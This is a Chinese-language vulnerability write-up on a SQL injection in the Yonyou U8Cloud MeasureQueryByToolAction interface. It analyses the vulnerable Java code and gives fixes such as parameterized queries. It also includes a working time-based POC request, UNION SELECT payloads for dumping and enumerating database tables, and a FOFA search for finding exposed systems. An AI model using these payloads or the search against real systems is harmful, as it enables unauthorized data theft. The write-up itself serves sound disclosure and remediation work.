用友 U8Cloud MeasureQueryByToolAction SQL注入漏洞分析
字数 1716 2025-08-29 22:41:39
用友U8Cloud MeasureQueryByToolAction SQL注入漏洞分析教学文档
一、漏洞概述
用友U8Cloud系统的MeasureQueryByToolAction接口存在SQL注入漏洞,攻击者可通过构造恶意请求未经授权访问数据库,导致用户数据泄露。
二、影响版本
受影响版本包括:
- 1.0
- 2.0
- 2.1
- 2.3
- 2.5
- 2.6
- 2.65
- 2.7
- 3.0
- 3.1
- 3.2
- 3.5
- 3.6
- 3.6sp
- 5.0
- 5.0sp
三、漏洞原理深度分析
1. 请求处理流程
-
请求分发机制:
- Web.xml配置中,
/service和/servlet前缀的请求都由NCInvokerServlet处理 - URL格式:
/service/~模块名/服务名 - 示例:
/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction
- Web.xml配置中,
-
ActionServlet处理:
- 关键方法:
RequestProcessor.getInstance().process(request, response, this) - 通过
action参数指定类名,method参数指定方法名 - 本例中调用
nc.ui.iufo.query.measurequery.MeasureQueryByToolAction的execute方法
- 关键方法:
2. 漏洞代码分析
漏洞位于nc.ui.iufo.query.measurequery.MeasureQueryByToolAction类的execute方法:
public ActionForward execute(ActionForm actionForm) throws WebException {
ActionForward actionForward = null;
try {
String[] cks = getRequestParameterValues("query_id");
if (cks == null || cks.length == 0)
return (ActionForward)new CloseForward("close_refresh_main();");
String strMq = cks[0];
String strRepId = "";
// 漏洞触发点:将用户输入的query_id直接传入SQL查询
MeasureQueryConVO[] mqCondVOs = MeasureQueryConBO_Client.loadQueryConVOs(new String[] { strMq });
if (mqCondVOs == null || mqCondVOs.length == 0)
throw new CommonException("miufo1003095");
MeasureQueryConVO mqCondVO = mqCondVOs[0];
strRepId = mqCondVO.getM_strRepId();
if (strRepId == null)
strRepId = "";
addRequestObject("report_id", strRepId);
addRequestObject("measureQueryId", strMq);
actionForward = new ActionForward(RepToolAction.class.getName(), "execute");
} catch (CommonException e) {
throw e;
} catch (Exception e) {
AppDebug.debug(e);
}
return actionForward;
}
3. SQL注入点分析
关键漏洞位于MeasureQueryConBO_Client.loadQueryConVOs方法中:
public MeasureQueryConVO[] loadQueryConVOs(String[] strQueryConIds) throws SQLException {
if (strQueryConIds == null || strQueryConIds.length <= 0)
return null;
Connection con = getConnection();
StringBuffer str = new StringBuffer("query_con_id in( ");
for (int i = 0; i < strQueryConIds.length; i++) {
str = str.append("'");
str = str.append(strQueryConIds[i]);
str = str.append("',");
}
String strWhere = str.toString();
strWhere = strWhere.substring(0, str.length() - 1) + ")";
// 直接拼接用户输入构造SQL语句
String sql = "select query_con_id, con_name, con_note, repid, area, content,query_id from iufo_measure_query_con where " + strWhere;
// 执行SQL查询...
}
漏洞成因:
- 直接拼接用户输入的
query_id参数到SQL语句中 - 未进行任何参数过滤或预编译处理
- 攻击者可通过构造特殊字符闭合SQL语句,注入恶意代码
四、漏洞复现
POC示例
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
复现说明
-
这是一个基于时间延迟的SQL注入POC
-
注入点:
query_id参数 -
注入payload:
1');WAITFOR DELAY '0:0:5'--- 闭合原有SQL语句
- 添加WAITFOR DELAY命令使数据库延迟5秒响应
- 使用
--注释掉后续语句
-
判断依据:如果服务器响应时间明显延迟5秒,则证明存在SQL注入漏洞
五、漏洞利用
1. 信息泄露
通过构造UNION SELECT语句,可以查询数据库中的敏感信息:
query_id=1') UNION SELECT 1,2,3,4,5,6,7 FROM sysobjects--
2. 数据库类型识别
根据响应特征可判断为SQL Server数据库:
- 使用
WAITFOR DELAY语法 - 注释符为
--
3. 数据表枚举
示例payload:
query_id=1') UNION SELECT 1,name,3,4,5,6,7 FROM sysobjects WHERE xtype='U'--
六、修复建议
1. 临时缓解措施
- 在Web应用防火墙(WAF)中添加规则,拦截包含SQL关键词的请求
- 禁用或限制对
/service/~iufo/com.ufida.web.action.ActionServlet的访问
2. 根本解决方案
- 参数化查询:
修改loadQueryConVOs方法,使用预编译语句:
String sql = "select query_con_id, con_name, con_note, repid, area, content,query_id from iufo_measure_query_con where query_con_id = ?";
PreparedStatement pstmt = con.prepareStatement(sql);
pstmt.setString(1, strQueryConIds[0]);
ResultSet rs = pstmt.executeQuery();
-
输入验证:
- 对
query_id参数进行严格校验,只允许数字等预期字符 - 使用正则表达式过滤特殊字符
- 对
-
最小权限原则:
- 数据库连接使用最小必要权限账户
- 限制应用账户对敏感表的访问权限
-
错误处理:
- 避免将数据库错误信息直接返回给客户端
- 使用统一的错误处理机制
3. 官方补丁
- 安装用友U8Cloud最新安全补丁
- 关注用友官方安全公告获取修复版本
七、资产识别
使用FOFA语法搜索受影响系统:
app="用友-U8-Cloud"
八、总结
该漏洞是由于用友U8Cloud系统中MeasureQueryByToolAction接口对用户输入的query_id参数未做充分过滤,直接拼接到SQL语句中导致的SQL注入漏洞。攻击者可利用此漏洞获取数据库中的敏感信息,危害严重。建议用户及时采取修复措施,特别是使用参数化查询等安全编码实践来从根本上解决此类问题。